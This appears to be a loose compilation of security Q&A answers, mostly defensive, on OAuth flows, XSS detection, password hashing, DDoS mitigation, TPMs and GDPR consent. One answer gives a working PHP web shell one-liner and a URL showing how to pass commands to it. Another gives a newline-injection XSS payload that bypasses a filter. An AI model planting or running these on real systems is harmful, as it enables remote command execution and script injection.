Why can’t I use query Response Mode with id_token Response Type (“implicit” flow)?

2020-12 UPDATE
There is an OAuth 2.1 draft to get rid of Implicit flow - short summary  here. OAuth 2.1 brings together the latest OAuth 2 best practices.
TLDR; best to avoid Implicit flow if you can.

And more generally, why is the “Implicit“ flow frowned at?

Because the access token is exposed to the user agent (browser). See Implicit flow diagram in the OAuth 2 spec, then compare it to the Authorization Code flow that doesn't expose the token to the user agent.

... explicitly forbids the use of “query” Response Mode with the id_token response type... Why is it forbidden ?

Quick definition:
scheme://host:port/path?query#fragment

The "query" portion of a URL is easily inspected by many parties - it may be recorded by the user agent (e.g. browser history), and is often found in Web server request logs. Rule of thumb is to never send any sensitive information (e.g. tokens, authorization codes, passwords) via the "query" parameter.
However, the "fragment" portion is never sent in HTTP requests, nor will it appear in Referer headers. Only JavaScript executing on the user agent (browser) would have access to it.
For instance, a client (browser) could make a request like this:
GET /authorize?
  response_type=id_token%20token
  &client_id=s6BhdRkqt3
  &redirect_uri=https%3A%2F%2Fclient.example.org%2Fcb
  &state=af0ifjsldkj HTTP/1.1
Host: server.example.com

Auth server would respond with (note the "fragment" denoted by "#"):
HTTP/1.1 302 Found
Location: https://client.example.org/cb#
  access_token=SlAV32hkKG
  &token_type=bearer
  &id_token=eyJ0 ... NiJ9.eyJ1c ... I6IjIifX0.DeWt4Qu ... ZXso
  &expires_in=3600
  &state=af0ifjsldkj

The browser would then exclude the "fragment" when it redirects to the target location. JavaScript code in the browser is expected to submit the relevant token(s) using a more secure mechanism (e.g. POST body).
There are quirks among the various browsers, but nothing apparent that defeats the security assumption.


What you're seeing is automated probing for security holes in your website.  Currently, attacks that try to retrieve the contents of wp-config.php are the big thing; other popular targets are phpMyAdmin and php-cgi.

For probes like these, either you're vulnerable (and have probably already been successfully attacked) or you're not vulnerable (and have nothing to worry about).  In your case, since you're not running "revslider_show_image", you fall into the "not vulnerable" group.

You can block the IP addresses the probes are coming from, but it won't do much good: the computers involved are almost certainly part of a botnet, and the real attacker has tens of thousands of these machines to work with.  The best thing you can do is remove unneeded software and make sure the rest of it is kept up-to-date.


Security risk stemming from data passed in $_GET superglobal

Seems that my comment did not make it here, so i'll post it as an answer:

No, it is not a serious security concern. If your site has for example a blind sql injection vulnerability, this would make it easier to attack a specific user.
It probably also makes it a lot easier to scrape your website for user profiles, if that is a concern of yours.
But other than that, I cannot think of a way to attack this.

But if you are still concerned:
No, hidden post variables are not the answer.
Instead, do not pass the ids, but pass slugs of usernames/postnames/etc instead (the slugs should be sanitized, so that they do only contain valid url characters). This is also more user and seo friendly.

But do make sure not to output any user supplied data directly to the enduser. You have to sanitize it first to prevent xss attacks (and it does count as user supplied even when it comes from the database - if the data in the database is user supplied).


Why can't scanners usually detect stored XSS? Is there a way to automate the detection of stored (persistent) xss,?

Here are a few problems with what you are looking for and why they are virtually non-existent.

Tools find reflected XSS by searching for the injected script snippet in the HTML source of the immediate response to request which injected the script.
The same tools will detect stored XSS as well if the script is reflected in the immediate response.
But sometimes the immediate response may not reflect the script even if it is vulnerable to XSS. For example a user submits an internal form to a high privileged user which won't be visible to him/her immediately. In this case if the form is vulnerable to persistent XSS it will execute at the browser of high privileged user.
Persistent XSS mostly happen on POST request. Scanning post request usually lead to database exhaustion.

What you can do to automate:

At this point I am unaware of any tool which can be used for the same. However I would like to suggest a work around.

Use Burp Professional trial version [It will take a day or two for them to send the trial license.]
In User Options > Misc in Logging Section click the checkbox to log all the responses.
Browse through the application, spider it, Select the requests you want to scan, send them to the scanner tab. It will identify the usual vulnerabilities, but it may miss some persistent XSS.
Browse and spider again through the entire application after the scan with all the user privilege levels.
Check in the log file for scripts. Burp injected scripts can be distinguished as they usually carry a signature of random characters with them. For example the script injected might look like

jklmn |injected script which stackexchange won't let me post| jklmn
So if you identify any injected scripts in the response log file, you can identify the page, parameter and the source of the reflection.


The core problem: if your server can efficiently compare a hashed password with (potentially) all the hashed passwords for all the user, then so can an attacker. An attacker who grabs a copy of your server files/database will be in position to run an offline dictionary attack, i.e. hashing potential password and look for a match.

Normal password hashing uses a per-password salt to prevent parallel attacks: we want the attacker to pay the full computational price of the hash function (which is made expensive through many iterations) for each password and each user account. However, if several password hashes use the same salt, then the attacker can try a potential password against all of them for the cost of one hash function invocation. Thus, your "global salt" substantially weakens the scheme: it allows the attacker to attack 1000 accounts for the cost of attacking one.

The important point: your problem is one of temporality. Indeed, you don't actually want to compare a new user password with all the passwords of all other users; what you want is to compare the password chosen by each user at registration time against a limited list of "passwords of known offenders". Unfortunately, when a registered user falls into "offender" status, he is already registered, and his password has not been kept around, only the hash thereof. So, really, you would like to be able to access the password used for registration after the registration has taken place.

A possible solution: use escrowing, aka asymmetric encryption. Create a RSA key pair. Store the public key on the server. Do NOT store the corresponding private key on the server; instead, store it elsewhere, e.g. on a laptop computer which is kept offline (or maybe just on a few USB flash drives).

When a user registers, hash his password as usual (with PBKDF2, many iterations, a new random salt, etc). But, also, encrypt the password (not the hash) with the RSA key, and store the encryption result in your database, along with the hash. Encryption only needs the public key, and is randomized, so this encrypted version does not give extra leverage to an attacker who gets a copy of the database contents. When a user logs in, the password hash is used, as usual.

When a user turns out to be a spammer, get the private key and decrypt the escrowed password. That way, you obtain the "bad password" and can add it to the list of passwords to reject upon registration. That list can be kept as cleartext: since the corresponding accounts have been closed, then there is no problem with that. Take care to do the decryption on a "safe" machine, preferably offline: you really do not want to see that private key stolen.

A word of caution: spammers are like bacteria, in that they tend to evolve with regards to external constraints. If you filter out spammers based on their habit of reusing passwords for registration, then you will soon train them into generating random passwords. Thus, I predict that if you install such a system, then it will cease to be effective at kicking spammers out after a relatively short time; after that, it will just be dead weight in your database (not a lot of it, because a RSA-encrypted short message with a 2048-bit RSA key is just 256 bytes, but dead weight nonetheless).


How much information/access could the owner of the router and Internet connection have (using his Wi-Fi with his permission)—and how to stop it?

Let's assume your roommate's brother has the intent to spy on you and he has some basic computer and networking knowledge...

By performing a man-in-the-middle attack with the right tools he could easily see which websites you've visited by capturing your DNS queries. He could also capture other sensitive information. For example, if you visited insecure websites over HTTP or if you choose to ignore the following warning during a website spoofing attack:

It is also worth mentioning that these types of attacks don't require direct access to the router.  Anyone on the LAN could perform this attack.

Since you do not trust the users of this wireless network, treat it as if you are using public WIFI and use a VPN.


Is it secure to choose a password that is a combination of 4 common English words if everyone will do it?

I work on password research and I have reviewed extensively zxcvbn related papers and those of other researchers in the field.

Yes, the answer referenced by @Arminius is correct in summarizing why this approach aims to improve security without compromising memorability. Please take a look at it.

The core of your question is whether it would be easy to make a dictionary that cracks those passwords with 4 different dictionary words.

It is true that the main argument of the above approaches only addresses the "Bruteforce" threat model, thus calculating the entropy without any consideration for an attacker who has access to the initial dictionary.

Their approach seems to suggest that all that matters is the password "strength" with no regards to how actual attacks are carried out.

Bruce Schneier made an interesting summary of previous commentaries on this.
It becomes more so if, as your premise goes, "everyone is using that scheme" and the attacker knows that.


How do the root servers get updated with my name server? Is WhoIS information always in sync with the root?

Your registrar has the right to manage a subzone of the DNS namespace. For ccTLDs (country-code top level domain, for example .us) this is mostly one, for gTLDS (global TLDs like .com) there are multiple.

If you tell your registrar your own DNS, the registrar will define a new subzone for the domain, and delegate the DNS resolution. Everytime the information in the DNS is updated, it polls the DNS above it that the information has changed. This will mostly be the registrars DNS. The registrar in turn will forward this information to the different root DNSs.

Now to your questions:

How secure is this process?

This process isn't very secure, since the system wasn't designed with security in mind. It basically trusts that whatever information it is given is correct. So if a rogue registrar wants to take over a domain, it just has to make sure the root servers have the bogus information and not the correct one. This information can easily be spoofed. Normally a registrar should check for this, and only update records for their own subzone.

Even worse are the responses, since, when the root server receives information, every DNS accepts every answer they get. Which means it isn't that hard to redirect, for example, Google to a bogus IP. This is why DNSSEC was invented, so responses can be cryptographically signed.

Can any registrar update my name server's root?

Do you mean that any registrar can pretend to be your DNSs master server? Every DNS should be able to poll data from your DNS, but that shouldn't be a problem (minus the spoofing mentioned above).

What security provisions are in place?

Trust, if you can call that a security provision. :) If you don't believe in trust, the rollout of DNSSEC is currently underway. It doesn't solve all problems DNS has, but at least a few. It mainly allows DNS responses to be signed, so it isn't that easy anymore to spoof the corresponding IP. It is, as far as I'm aware, still possible to poison the cache of the individual DNSs.


DHCP servers will allocate the IP given in the offer temporarily to negate race conditions. Assume two clients ask for an IP in the same time period, the server must give each client a different address, if it doesn't put aside the first client's IP it might give the second client the same IP causing a collision.
So when offering the server locks the address offered until a timeout or until the DHCP transaction has ended.


What is the mechanism to protect photos uploaded on social media?

There's not any fool proof way. If you upload or host a photograph on a server and it's accessible by users or it's accessible by anyone with an internet connection the content becomes fair game for anyone to take/reuse/re-upload/edit/copy.

Here are some mechanisms that certainly slowdown people form misusing your content:

Watermarking (as you mentioned)
Stenography can be used to hide information in the photo that lets you do an image search via google's image search and always find instances of your photo, then you can ask the user to remove the misused content.
Preventing users from taking screenshots (poor form and i.e only)
Preventing users from right-clicking image


Business process based risk assessment methodology for iso 27001:2013

Normally, the risk analysis is process based: You go through the main business processes with the client and then for each process you should find relative assets. For each asset, the impact on the business processes should be clearly defined in case of asset disruption: no impact, low impact, medium impact, high impact and also highlighting the vulnerabilities for each asset. The importance of an asset should be defined according to the importance of the business processes and the impact of this asset.


Is this filter safe enough to mitigate XSS?

I would really love to see this filter getting bypassed.

Let me be the first to fulfill your wish with the so underevaluated and forgotten %0d%0apayload :

Your code :

<script>
// TODO
// document.write("<%= encode(req.getParameter("choice")) %>")
</script>

Request : http://supersecure.com/?choice=%0d%0aalert(1);//

Resulting code :

<script>
// TODO
// document.write("
alert(1);//")
</script>

While you may think you wouldn't comment such code, keep in mind some others devs could do it (for testing/debugging/temporaly disabling feature purpose) without thinking about the security hole it may create.
For <script> you should encode %0d%0a into \r\n.
Howewer, you don't need this encoding for html element.


There are a couple of things you can do to prevent DOS/DDOS.
First I would recommend using an autoban firewall. I've been using Fail2Ban for some time now. Most of my problems with DDOS/DOS attacks to SSH,FTP,BIND and etc were solved. What fail2ban actually does is it's scanning a log file and when a regex pattern matches X times it bans the person. With a little more work you can make it read almost any type of log files.

Second there were a couple of mods for apache that prevent DDOS/DOS attacks. One of them was mod_evasive. I used it for a while but fail2ban worked for me best (for now) so I didn't quite get into mod_evasive.

Another possibility is to use Nginx as a front-end which would proxy-forward connection requests to your Apache server. Then set Nginx's HttpLimitZoneModule (info) to a desired number. This will reduce the maximum incoming connection from a single IP but it won't prevent DDOS.

Finally - close all of your unused ports. Leave only ports that need to be public as port 21,53,80,443 etc. This will limit the possibilities where the attacker may target.

Edit:
Make sure you don't get ping flood by setting some iptables rules that limit icmp. Here's a link which explains how ping flood works. Try looking at the pictures first then the text will make more sense to you.
If you're using iptables this command may help you prevent ping/icmp flood:

iptables -A INPUT -p icmp -m limit --limit 6/s --limit-burst 1 -j ACCEPT
iptables -A INPUT -p icmp -j DROP

The first one will limit icmp requests up to 6 requests per second. Afterwords the person will not receive any more responses. This will eliminate bots that are doing a cycle:

for(i=0; i<1000000; i++){
   some evil code that will bring your server down
   either by pinging or just connecting to random ports.
};


The point of having access tokens is that they can be used without checking for invalidation. You can have 10000 frontend servers users can access with the token without the need to ever ask some database if it is invalid. But after some time, the token expires. The user needs a new access token, sends her refresh token and this refresh token is checked in some database.
You never need to check for expired access tokens or have any state, but limit abuse to the lifetime of the token.

If you don't have the requirement to accept the tokens without checking expiration in a database, you don't need the two different tokens.
You can just use the refresh token for each access.

Example workflow would be:

User logs in, gets access and refresh token. Access token lifetime 15min, refresh token 5 days.
User accesses the service using the access token. Service only checks signature and lifetime. No database connection.
User logs out, the refresh token is marked expired in the database
User accesses the service using the access token, this still works
15min pass. Access token expires, user requests a new access token using the refresh token still within its lifetime. The service checks the database and finds the token is expired. User can't get a new access token.

The whole system is a trade-off between the time it takes to invalidate sessions and the amount of connections to a shared/synchronized data source required.

You can replace the refresh token on each refresh, but remember that you need to store all expired refresh tokens until their lifetime is over.

From a security perspective it makes sense to create a new token, but it is a trade off between security and amount of data in your database.

In the worst case (no lifetime for refresh tokens, never do that) you now need to store one token every few minutes in the database for each user instead of one token for each user and you can never remove them again.


If you want to have hardware ensure that software is valid before you boot, you would want to use something like a TPM for measured boot. A TPM is meant to be platform-independent, even if it is most commonly seen on x86 systems. This means it can be made to work with a Raspberry Pi. A TPM will measure the bootloader, kernel, and even firmware before it unseals a secret value. That value can be an encryption key, for example, so that only if the TPM unseals itself will the system be able to continue booting. Since the TPM will only unseal itself if the bootloader and other components of the boot process are in a known-good state, the system will refuse to boot no matter how much modification is done to writable, unencrypted components.


Snort/IDS detect and alert on possible DoS/DDoS attack?

Web Application layer Firewall like Modsecurity and Application layer filter like snort ruleset are generally signature bases rule. These rulesets are very comprehensive and covers most of application layer attacks like XSS, SQL injection. Though these firewall have support to protect against DoS through session and user level counters but this is not generally recommended as it requires lot of computing.

For understanding of mitigation strategies against Application Layer Dos you can explore Mod_Evasive an apache module. There are five directives to be configured to protect against DoS from Blacklisted IPs.

DOSPageInterval : Sets the minimum accessible interval between two
requests to a page from the same IP.
DOSSiteInterval :  Sets a minimum accessible interval between two
requests to a site from the same IP.
DOSPageCount :  Sets the limit for a number of too short requests to
the same page
DOSSiteCount :  Sets the limit for a number of too short requests to
the same site.
DOSBlockingPeriod: How much time bad IP should be blocked.


How to store user credentials in a web application?

As described on Twitter's API OAuth doc, the user's Twitter credentials should not be needed.  In other words, when you first connect your user to their Twitter account you should launch a Twitter page that grants your application access to their Twitter information.  If the user is not already signed onto Twitter, through the Twitter page, they will enter their Twitter credentials.  This keeps the Twitter credentials safe from you.  In turn, you should have a token for your application that you keep very secure (encrypted on your site or in your application) and a token for each Twitter user that has agreed to allow your application to have access.  When accessing Twitter, you use the application token to confirm who you are and the user token to confirm who the user is.  As long as you store both of these in a secure location nobody should be able to spoof access.

Most people will do this by storing an application token with (or in) an application config file and the Twitter user tokens in a database.  Here are additional security steps for this setup:

Store the config file and database separately.  For example, store the config file on a web server and store the database on a database server.  This makes access to these two key pieces of data harder to obtain.  Unfortunately it does mean you need to servers (or VMs . . . or containers).
Rotate the application token on a regular basis (just as you might rotate a password or PIN.
Only ask Twitter for your token to be able to access the bare minimum of what you need.  This way if there is a security breach they have limited access to your user's Twitter accounts.
Secure the servers that store the token and database as best you can.


Returning the wrong HTTP response code on purpose?

Has anyone ever thought about doing this?

Yes, there was actually a talk about exactly this at defcon 21 (video, slides).

Their conclusion was that working with response codes as offensive security can sometimes result in severely slowing down automatic scanners, non-working scanners, and a massive amount of false-positives or false-negatives (it will obviously do little to nothing for manual scans).

While security by obscurity should never be your only defense, it can be beneficial as defense in depth (another example: it is recommended to not broadcast version numbers of all used components).

On the other hand, a REST API should be as clean as possible, and replying with purposely wrong HTTP codes may be confusing for developers and legitimate clients (this is a bit less of a problem for browsers, where users don't actually see the codes). Because of this I wouldn't recommend it in your case, but it is still an interesting idea.


How a database connection makes mysqli_real_escape_string more secure?

As a note, before I say anything about this issue: please consider moving towards MySQLi or PDO with parameterised queries. Not only are they an order or magnitude more secure, but they're easier to work with and fully supported. The old mysql_ functions are now considered end-of-life and will soon be deprecated. (sorry, missed the tiny i from your original post... damn procedural calls!)

MySQL operates on strings. Strings are two things: a sequence of bytes, and a sequence of characters. The way that these two sequences map to each other is called a character set, which is specified by an encoding.

For example, ASCII maps letters, numbers, symbols, and control characters onto the byte values 0 to 127. Extended ASCII then adds more characters for the values 128 to 255. Other encodings, such as the UTF family (e.g. UTF-8) use single or multiple bytes to encode different characters. For example, UTF-16 characters can be encoded as either one or two 2-byte codepoints (i.e. each character is encoded as either 2 or 4 bytes).

The interesting part happens when you assume one character set or encoding, but the underlying data is actually encoded differently. For example, the East-Asian CJK character for "water" is 水, which is defined in UTF-16 as U+6C34. This encodes to 34 6C in UTF-16LE. Now, if we accidentally assume that the data we were handed is ASCII, we'd decode this as "4l" rather than the proper Unicode character.

Now, what if your front-end application (in this case PHP) were configured to use Extended ASCII, but your database collation was set to UTF-8 (e.g. utf8_general_ci), and your user's machine was set up to use the Windows CP1251 Cyrillic codepage? In an ideal world, each system would recognise the requirements of the target application, and convert appropriately. Unfortunately this is not an ideal world. The underlying bytes representing Cyrillic characters would probably get garbled into ASCII characters on their way into the PHP webapp. Then any high characters (128-255) might re-map to different byte sequences when the ASCII characters are converted into UTF-8, or may even form entirely new characters if accidentally naively translated into UTF-8 codepoints. In some cases, there are special rules that cause certain sequential codepoints (e.g. diacritic marks) to get combined into special-form characters.

In short: character encoding is voodoo. This is serious "here be dragons" territory. If you can get a sane response from anyone who has written a real string library before (they usually just scrawl "cthulhu ebcdic fhtagn" on your face with a magic marker and walk away mysteriously) then they'll probably tell you some truly disgusting things about the abomination that is our human language.

Why does this matter for stuff like mysql_escape_string? Well, let's say your PHP app is UTF-8 mode, but your MySQL server is running in ASCII mode. Your user types a ∻ character (U+223B) and your escape function says "well shucks, that looks fine to me, I just care about quotes and stuff". Your MySQL server then looks at those underlying bytes... oh, it turns out that 22 3B is an encoding of "; in ASCII. Whoops!

This gets worse when you remember those combining tricks. You can do things like apply a diacritic mark to a piece of punctuation, or slap that punctuation in the middle of some Arabic text, and it could get combined into a "combined form" character with a totally different codepoint when it is re-encoded. This matters when you're using different modern encoding formats such as UTF-8 and UTF-16 together.

The mysql_real_escape_string function attempts to save us from this hell by properly checking the string once it has been re-encoded in the target MySQL server's selected encoding. It needs a reference to the connection in order to retrieve this metadata from the server.

The most merciful thing in the world, I think, is the inability of the human mind to comprehend character encodings. We live on a placid island of ignorance in the midst of black seas of codepoints, and it was not meant that we should voyage far. The languages, each straining in its own direction, have hitherto harmed us little; but some day the piecing together of dissociated Unicode planes will open up such terrifying eccentricities of language, and of our frightful position therein, that we shall either segfault from the revelation or flee from the light into the peace and safety of EBCDIC.


How to determine if there is any SSL v2, SSL v3, TLS 1.0 or TLS 1.2 connections to the server?

Use a sniffing tool (e.g. Wireshark) to inspect the traffic to your server. Run Wireshark on the server itself and select the interface on which requests are incoming. Consequently, filter SSL traffic and check the IP sources to find out whether or not these are legitimate request (difficult when its publicly facing though).

Although I'm not sure who your target audience is and the nature of the data on/transmitted from and to your site, I would probably not keep the server vulnerable for those folks who refuse to update their browsers. However, that's a personal decision of yours to make.


Are files hosted on cloud servers/websites/databases manually checked by people?

If files are encrypted and that encryption is done competently, then the contents cannot be inspected by third parties. Crucially, this requires (in your situation) that the encryption is done on your computer, with a key (or password) that you keep for yourself, and do not send to anybody else, in particular the people that host the file storage cloud system.

Of course, if the file name is "video-of-me-killing-colonel-Mustard-with-the-candlestick.encrypted" then a policeman with a pair of functioning neurons might get somehow suspicious about the file contents, even if the encryption prevents him from actually looking at the contents.

From a business point of view, it seems highly implausible that anybody checks file contents manually(*), on a general basis, on big cloud-based storage system. This would be astronomically too expensive. However, if you, personally, have shown up on the radar of a law enforcement agency, that may motivate them enough to (get a search warrant and) have a look at your files.

(*) However they may automatically look for files with byte-to-byte identical contents to known contents whose copy is legally restricted in some way. For instance, ISO images for the installation DVD of some software. It suffices to compute a hash on each file, and lookup the hash in some database of known hashes.


Information obtained from executing Javascript math functions in browser

Well, they are indeed benchmarking the user agent.

The time it takes to perform math functions, which only require CPU horse power, is a metric of CPU performance. The more performant the CPU, the higher the metric (or less the time to complete the cycle).

It is a benchmark. Now the question is: how can the benchmark be used in security/privacy scope?

Fingerprinting? Maybe.

I have repeatedly looked at amiunique.org and they, being an open source project, describe detailfully what's under the hoods. Truth is that Canvas fingerprinting is a technique that measures the performance of the system to render a canvas to add to the browser's fingerprint. It is possible that the site is using the performance metric to add it to the server-side fingerprinting routine. Who knows without auditing the server. It is interesting to note that Mozilla prompts (or was planning to, anyway it works on Tor browser) for canvas image, so math functions could be used as a workaround to canvas

Visitor statistics? Very likely

The reputable site may just want to collect info about the CPUs of their visitors. This could be especially true if they want to understand the impact of a front end change or perform browser testing on limited performance machines. Normally web developers have powerful machines with huge amounts of RAM and big screens. They can easily test on multiple browsers, resolution and connection speeds. But what about capping the CPU? Does the site continue to display well? With such metric, they could draw graphs and find test cases

Targeted profiling? Who knows...

I am getting creative here, don't get me too serious. An advertising company could use such information to understand how powerful is your hardware. Then you can get advertising for the most recent 3D hyper performance game that may run on your machine, or some old classic if they find your CPU is not powerful enough.

Please, don't take the last seriously. I was going to joke on that.


Why does the OAuth2 spec recommend that client credentials not be passed in the request body?

Both methods are acceptable, most likely for compatibility with existing implementations at the time that either used one or the other.

However, only the HTTP Basic authentication was then made mandatory to implement by authorization servers so adding the additional recommendation to not use the optional one was probably intended as a way to get everyone using the same method.

In relation to why the decision pended to HTTP Basic and not the request-body I would say that the fact that the history of OAuth 2.0 includes ties to OAuth WRAP is a decisive factor.

As additional info:

  Use of the Authorization header is RECOMMENDED, since HTTP implementations are aware that Authorization headers have special security properties and may require special treatment in caches and logs.

(source: OAuth Web Resource Authorization Profiles (OAuth WRAP))

  Authorization headers are recognized and specially treated by HTTP
  proxies and servers.  Thus, the usage of such headers for sending
  access tokens to resource servers reduces the likelihood of leakage
  or unintended storage of authenticated requests in general, and
  especially Authorization headers.

(source: OAuth 2.0 Threat Model and Security Considerations (RFC 6819))


Can TPM "Storage Keys" be created outside the TPM?

I wouldn't have thought this was a good idea.  The TPM can only provide "trust" for keys that were created within the TPM.  Otherwise, who knows what happened to the keys before they were added to the TPM?  If the private key ever exists outside the TPM, all bets are off.


How to prevent XSS when transferring web page content within XML

You are on the right track, with XML encoding. You can't predict all possible malicious content, so encoding dynamic data to guarantee it is benign is the right approach. The issue you've run into is that things get really wonky if you try to handle output encoding for multiple output locations all at once. The right approach (and you're close) is to encode for the current output location only, and let other output locations encode for themselves.

I think the thing that is confusing you is that you are thinking of the XML as though it is the raw output to the HTML. You need to consider the XML as part of your network communications protocol stack, and the HTML as separate output.

If I read this correctly, you have some server code that writes an XML message, and some client code that runs in the web browser, receives the XML message and writes to HTML, JavaScript, URL or CSS context.  (If I read incorrectly, then you probably have a back end writing XML to a front end that is writing HTML, JavaScript, URLs and CSS. In this case, just consider the front end to be the client of the back end in the rest of this post.)

Therefore, the server is responsible for safely writing XML and the client is responsible for correctly writing HTML, JavaScript, URL and CSS data.  This way, the code writing the output is responsible for the safe presentation of that output.


OIDC SPA Keycloak refresh_token storage location

Following the specs:

  Since refresh tokens are long-term credentials, they may be subject to theft.

Refresh token is sensitive information and should be stored securely. What is more, to use the refresh token, you have to request token endpoint of Authorization Server (AS). In specs you will find that in this case AS should trust the client which is sending the refresh token request. It can be achieved by authorizing client to the token endpoint (Mutual TLS authentication, Basic Authentication - not recommended). So you need to store more sensistive information in your app.

For me, storing refresh token in browser is not secure as User-Agent (ie. Browser) can be a subject of attack (ie. dangerous addons). For mobile apps it is a little easier as new OS's gives opportunity to use the system internal secure storage, where you could store refresh token. For web apps it would good to consider a backend storage for such a purpose but here you also have to ensure correct trust relation between client app and backend.

Consider reading this: OAuth 2.0 Threat Model and Security Considerations


Is it safe to create a user account using the id_token provided by google's sign in?

Probably not.

The information provided by that endpoint is fairly deterministic in nature, so anyone with enough motive (e.g. has 20 minutes to kill) can guess the details and generate the same password as you for that user. Additionally, that hash will fail every time (or often enough) a new token is issued, so you need to always keep the record updated.

The basic process of registering the user works reasonably well, but what you need to do is generate the password randomly and figure out how to store it securely and send it to the client for it to use.

Now, if you can have CouchDB verify the token itself verbatim then you could just send that, but I'm guessing it doesn't have the ability to do that.


What should be included in a jump bag and how often should it be reviewed?

Often we use field visits for information gathering and/or equipment seizing.  So a lot of the papers and cheatsheats will be left back in the lab.  We also have an old laptop set up that is kept on the shelf, but used entirely for field work.  It is, however, not normally kept in the jump bag.

My bag specifically contains:

Several Network Cables (straight through, loopback)
Serial cable with serial->USB adapter
Juniper and Cisco serial adapters
Hard drives (various sizes)
Flash drive
Backtrack LiveDVD
Logicube-MD5 (portable drive duplicator with write-blocker)
Various drive interface adapters
Handheld label printer
4 port hub
Digital camera
Cable ties
Cable snips
Assorted screw and hex drivers
Notebooks and pens
Chain of Custody forms
Incident Handling Procedure
Business cards for all members of the team

We will also grab any other oddities as necessary for specific cases not covered above.

A review of the bag contents doesn't happen often enough. There is typically a spot check at each use, though this is largely to determine if there are any unusual items needed for this specific event.  In practice, the contents get reviewed along with the rest of the lab at year end when we do equipment refresh.


Finding all the subdomains and registered email addresses?

So, let's suppose you have a domain, e.g. stackexchange.com
Only their subdomains would know all its subdomains. In fact, it is possible that it has a wildcard (like stackexchange.com), so anything ending exists. For example: https://subdomainforquestion241763bymkde.stackexchange.com There is not a website there ("Site not found"), but the subdomain exists.
If the nameserver was misconfigured, you would be able to get a copy of the zone from them (a zone transfer). It shouldn't let you do that, though.
With no knowledge of the real data, it is possible to find some of the subdomains, for example search engines will typically discover subdomains, which you can then show on their search results. DNS resolvers can log the queries that people do, and from searching on that history, get all the subdomains that people requested through them. This is probably what robtex does.
As for the registered email addresses of these subdomains, that's a concept which doesn't exist. A domain will be registered to someone, and their email would be listed on the whois entry for the domain (assuming the tld doesn't block it, it wasn't registered through a privacy whois service, and that it wasn't now removed after GDPR changes). However, the subdomains belong to the same entity as the registered domain. There won't be an email for someone that registered it (actually, the holder of the domain might have given the subdomain to someone else, like a university giving control of the "cs" subdomain to the computer science department, but it's up to the owner of the domain to relinquish / claim back that control, and to track in any way their wish to, who is making use of it).


I would recommend that you DO NOT contact the new owner of your previous phone number.

He/she would have no obligation to complete your task, in fact, you will be letting him know that he possesses a huge foothold to your account. You will be relying on how he/she responds, hopefully in good faith, as Instagram allows users to send a login link using their, Email, Phone, or Username. When a username is entered, the link is sent through your email. The screenshot below is taken from instagram.com

Recover your account with Facebook,

Open your Instagram App > "Sign in" > "Forgot Password" on the login screen
There will be a "Reset Using Facebook" option
Sign in with your Facebook account if need be, and if you are already logged into Facebook you will just see a short loading screen.
There will be a "Reset" button after the loading screen. From there on, you will be able to reset your password.

Prerequisites of resetting through Facebook would be that you linked your Instagram account with Facebook prior to this.

  Is there a way to buy back the phone number before it gets allocated to someone else?

You might have to loop in your telecom company on this, different telecom handles this differently. Who knows, they might be able to let you use your number to complete the recovery process, but I'm not sure how are you going to let them know that the Instagram account is yours before allowing you to do so.


According to online reports (bug tracker, reddit) and tweets from the authors it appears that:

The updates are signed by PGP (good)
The version is checked to avoid downgrade attacks (good)
The signature use an old 1024 bit DSA key, never renewed (bad)

We can conclude:

This mechanism is not at the sate of the art because of a deprecated signing algorithm, but the overall design is sound.
Since DSA 1024 has not yet been broken, it is still safe, but it might not be in 10 years. The lifespan of a VLC installation without update is far shorter than that, so an exploitation of this weakness is very extremely unlikely.

In summary: VLC updates are safe for now, but the update mechanism should be upgraded to a state of the art algorithm, which does not necessitate HTTPS.


Should each radius client have its own key?

As mentioned in the comments, yes you should definitely. Especially if this is on a production network even more specifically if it's a customers production network.

It may "ease your deployment" but it wouldn't help at all if the network was breached. Please use different keys for each Radius client, it's not even a "best practice" it is purely common sense.

As Schroeder has stated it's the same thing with using different passwords for different accounts; you're only harming yourself by using the same "password". It may save you time now but it adds time to the aftermath of a breach.


How to tell if a webapp transmits my password in cleartext?

There are two reasons to ask if your password is being encrypted:

You are worried about the security of the site.
You are worried about the security of your password.

Regarding site security, with no HTTPS, there is effectively none. You should consider every communication with the site as public and assume that an attacker can pretend to be you. Just use the site with care.

Regarding the security of your password, without SSL, it doesn't really matter. Someone can steal your session cookie and pretend to be you without knowing your password. So be sure not to reuse the password on other sites (or reuse any password ever) to prevent a password exposure on this site from compromising your accounts on other sites.

Edit In response to your concern about ARP spoofing, without SSL, it may be possible that they establish a MiTM. Once they do that, they can see the cookie. Without deeper inspection of the web site, I cannot tell you if the cookie leaks your password. Perhaps it is securely encrypted, perhaps not. That said, once they have an MiTM, they can alter the JavaScript that is sent to your browser. This would allow them to alter what is sent on the wire, thereby getting your password. And, while I can't be certain without further examination, that cookie is looking to me like a pass the hash vulnerability. If that is the case, then there is no need for them to steal your password as the cookie's value is as good as a password. All of this boils down to, without SSL,there is no security.


Not trivially.

What you're talking about is Public Key Infrastructure (PKI). The current implementation of it for SSL/TLS works in a hierarchical trust model. Your browser (and your OS) has a set of Certificate Authority (CA) certificates baked into it, which it trusts. Each certificate contains a CA's public key.

When an SSL certificate is created for a site, their issuing CA signs that cert with their private key. So the public key and details of the site is then signed with the CA's private key.

When you receive the certificate, your browser checks the certificate's signature using the CA's public key, which it has from the pre-installed CA certificates. You can't forge this signature without stealing the CA's private key, breaking the cryptography involved, or finding a bug in the browser's certificate validation code.

The attack you suggested is precisely what tools like Burp Suite can do, but since the generated certificate isn't signed by a trusted CA, the user's browser warns them that the certificate is self-signed.


RCE in a PHP script that doesn't have write permissions

Depending on the configuration of the web server, you may or may not be able to get a regular, interactive shell. That said, you can already execute arbitrary php commands. So why don't you upload a file containing:

<?php echo shell_exec($_GET['cmd']);?>

Then you can easily pass whatever commands you like:

http://example.com/viewfile.php?file=myupload.php&cmd=ifconfig


Why do some GDPR emails require me to opt-out and some to opt-in?

It is not clear that the first kind of email is legal. A French association, la Quadrature du Net, is planning to launch a class action against five big tech companies (the famous "GAFAM") on May 28th about just this practice. Here is a summary of their arguments:

Article 6 §1 of GDPR lists six cases for processing personal data legally, one of these is user consent;
Article 4 §11 states that consent must be obtained in way that shows it is the will of the user in a clear, specific, informed and unequivocal way;
In the preamble of GDPR, it is explained that consent must be a positive action, and there can be no consent in case of silence, pre-checked boxes, or inaction;
Article 7 §4 states that when obtaining consent, it is necessary to consider whether processing personal data is absolutely necessary for providing a service.

As a consequence the "G29", the group of national data protection authorities in the EU, affirmed that if a user has no real choice, feels constrained, or will face negative consequences for refusing consent, then the consent given is not valid. The G29 therefore affirmed that GDPR guarantees that giving consent to processing personal data cannot be the counterpart of providing services.

